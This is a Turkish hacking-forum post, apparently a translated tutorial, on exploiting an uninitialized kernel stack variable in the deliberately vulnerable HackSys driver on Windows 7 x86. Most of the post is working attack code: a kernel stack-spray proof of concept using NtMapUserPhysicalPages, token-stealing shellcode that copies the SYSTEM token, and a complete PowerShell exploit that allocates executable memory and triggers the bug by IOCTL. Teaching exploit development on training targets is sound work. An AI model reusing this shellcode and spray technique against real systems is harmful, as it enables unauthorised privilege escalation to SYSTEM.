Windows Exploit Geliştirme Serisi #13 Kernel Exploitleme -> Uninitialized Stack Variable

Provido

Katılımcı Üye
21 Eki 2015
477
1
13. Bölüm: Kernel Exploitleme -> Başlatılmamış Yığın Değişkeni


Merhaba ve Windows Exploit Geliştirme Eğitim Serisinin 13. Kısmına tekrardan hoş geldiniz. Bugün @HackSysTeam’in aşırı güvenlik açıklı sürücüsünü kullanarak başlatılmamış Kernel yığın değişkeni exploiti yapacağız. Debug çevresi ile ilgili daha fazla bilgi için 10. Kısıma göz atın. Hızlı bir şekilde profesyonel n00b yardım hattındaki @tiraniddo’ya teşekkürlerimi sunmak istiyorum. Hadi başlayalım.

Kaynaklar:

+ NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques (@j00ru) - buradan


Zorlukları Keşfetme


Aşağıdaki açıklı fonksiyona kısaca bir göz atalım.



Kod:
NTSTATUS TriggerUninitializedStackVariable(IN P**** UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
 
#ifdef SECURE
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling
    // the callback
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};
#else
    // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability
    // because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
#endif
 
    PAGED_CODE();
 
    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_STACK_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));
 
        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;
 
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
 
        // Validate the magic value
        if (UserValue == MagicValue) {
            UninitializedStackVariable.Value = UserValue;
            UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
        }
 
        DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
        DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);
 
#ifndef SECURE
        DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif
 
        // Call the callback function
        if (UninitializedStackVariable.Callback) {
            UninitializedStackVariable.Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}



Sürücü fonksiyonunu doğru sihirli bir değerle geçersek o zaman, parametreleri geri çağırır ve değişkeni başlatır. Eğer yanlış bir değer girersek o zaman, böyle bir şey olmaz. Buradaki problem değişkenin tanımlanırken belirli bir değere ayarlanmamış olmasıdır. Değişken yığında bulunurken, önceki fonksiyon tarafından geride bıraktığı rastgele çöpleri içerecektir. Burada kontrol kodunun kendisini çökmeden koruyan herhangi bir şeyi olmadığına dikkat edin. (UninitializedStackVariable.Callback)

Bu fonksiyonun IOCtL değeri 0x22202F’dir. IOCTL’in nasıl tanımlandığını görmek için 10. ve 11. Kısıma göz atın. IDA’ya geçelim ve fonksiyona göz atalım.



xvuqE8.png




Üstteki 4 fonksiyon bloğunu göz önüne alalım. Eğer eşleştirme başarılı olursa o zaman, değişkenlere düzgün değerlerin ayarlandığı yeşil bloğa tıklıyoruz ve ondan sonra callback fonksiyonunun çağırıldığı kırmızı blokta kötü hiç bir şey olmuyor.



xvu2Nj.png




Güzel ancak,eğer eşleştirmeyi başaramazsak o zaman yeşil bloğu es geçiyoruz, daha sonra, o sırada kernel yığınında bulunan çöpleri çağırıyoruz.



xvuU2o.png




Bu veriler dengesizdir, eğer tekrar oluşturmaya çalışırsanız büyük ihtimalle WinDbg’de başka değerler görme ihtimaliniz vardır. Kutuyu BSOD yapmadan önce, bu değişkenin mevcut yığının başlangıcından ne kadar uzakta olduğuna hızlı bir şekilde bakalım.



xvuW7U.png




Hatalı işaretçiye olan mesafeyi elde etmek için aşağıdakini yapıyoruz:



Kod:
0x8a15ced0 - 0x8a15c9cc = 0x504 (1284 bytes)



Yürütme akışına devam ederek sanity kontrolü BSOD yapalım.



xvu3IH.png




Her şeyi yerle bir et!


NtMapUserPhysicalPages


Kernel yığınındaki IntPtr dosyasını shell kodumuza bir işaretçi ile üzerine yazabilirsek o zaman kazanırız ama bunu nasıl yapacağız? Kernel yığınını püskürtmenin bir şey olduğu ortaya çıktı, @j00ru tarafından yazılan bu makaleyi okumanızı önemle tavsiye ederim. Burada belgelenmemiş NtMapUserPhysicalPages fonksiyonu var, ne yaptığı ile ilgilenmiyoruz ancak, işlevselliğin bir parçası olarak input baytlarını kernel yığınındaki yerel bir arabelleğe kopyalar. Kopyalayabileceği maksimum boyut 1024 * IntPtr::Size (4 32-bitte => 4096 bayt) Bu ihtiyacımız için mükemmeldir. Aşağıdaki POC bunu göstermek için kullanılabilir!



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("ntdll.dll")]
    public static extern uint NtMapUserPhysicalPages(
        IntPtr BaseAddress,
        UInt32 NumberOfPages,
        Byte[] PageFrameNumbers);
}
"@
 
# $KernelStackSpray = 4*1024
$KernelStackSpray = [System.BitConverter]::GetBytes(0xdeadb33f) * 1024
 
# This call will fail with NTSTATUS = 0xC00000EF (STATUS_INVALID_PARAMETER_1),
# however, by that time the buffer is already on the Kernel stack ;)
[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null



NtMapUserPhysicalPages dönüşüne kesme noktası koyalım, POC’u çalıştıralım ve kernel yığınını inceleyelim.



xvu8GA.png




Harika, NtMapUserPhysicalPages dönüşünden sonra, yığın hazır olmalı böylece sürücü fonksiyonunu çağırdığımızda başlatılmamış yığın değişkenini bozabiliriz. Spray’in yanyana olmadığına dikkat edin, biraz göz gezdirdikten sonra yığında büyük parçalar buldum ama bazı değerler tarafından ayrı (öyle sanıyorum) duruyorlardı. Neyse ki, ihtiyacımız olan ofset sağlam görünüyor.

Aklınızda tutmanız gereken önemli bir nokta şudur, yığın dengesizdir, öyle ki bug’ı başlatmadan hemen önce spraylemek en iyisidir ve arabelleğin tıkanmasını önlemek için aralarda mümkün olduğunca az işlem yapın!


Shell Kodu


Tekrar, burada bir fonksiyon çağrısının üzerine yazıyoruz böylece, herhangi bir değişiklik yapmadan önceki bölümden işaret çalma shell kodunu yeniden kullanabiliriz.



Kod:
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)



Kurulum

Exploitimizin akış şeması şöyle olacaktır: (1) shell kodumuzu hafızada bir yere koy, (2) shell kodumuza işaretçi ile kernel yığınını sprayle ve (3) başlatılmamış değişken güvenlik açığını tetikle.


Oyun Bitti

Bu tüm çalışmayı gösterecektir, lütfen daha fazla bilgi almak için aşağıdaki kodları inceleyin.



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);  
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAl********Type,
        UInt32 flProtect);  
 
    [DllImport("ntdll.dll")]
    public static extern uint NtMapUserPhysicalPages(
        IntPtr BaseAddress,
        UInt32 NumberOfPages,
        Byte[] PageFrameNumbers);
}
"@
 
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)
  
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$ShellcodePtr = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $ShellcodePtr, $Shellcode.Length)
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $ShellcodePtr.ToInt32())"
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
# j00ru -> nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques
# Shellocde IntPtr spray..
$KernelStackSpray = [System.BitConverter]::GetBytes($ShellcodePtr.ToInt32()) * 1024
echo "`n[>] Kernel stack spray.."
echo "[+] Spray buffer: $(1024*[IntPtr]::Size)"
echo "[+] Payload size: $([IntPtr]::Size)`n"
 
echo "[>] Call NtMapUserPhysicalPages & trigger bug.."
echo "[+] Radio silence..`n"
[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null
$Buffer = [System.BitConverter]::GetBytes(0xdeadb33f)
[EVD]::DeviceIoControl($hDevice, 0x22202F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null


xvuFyI.png







 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.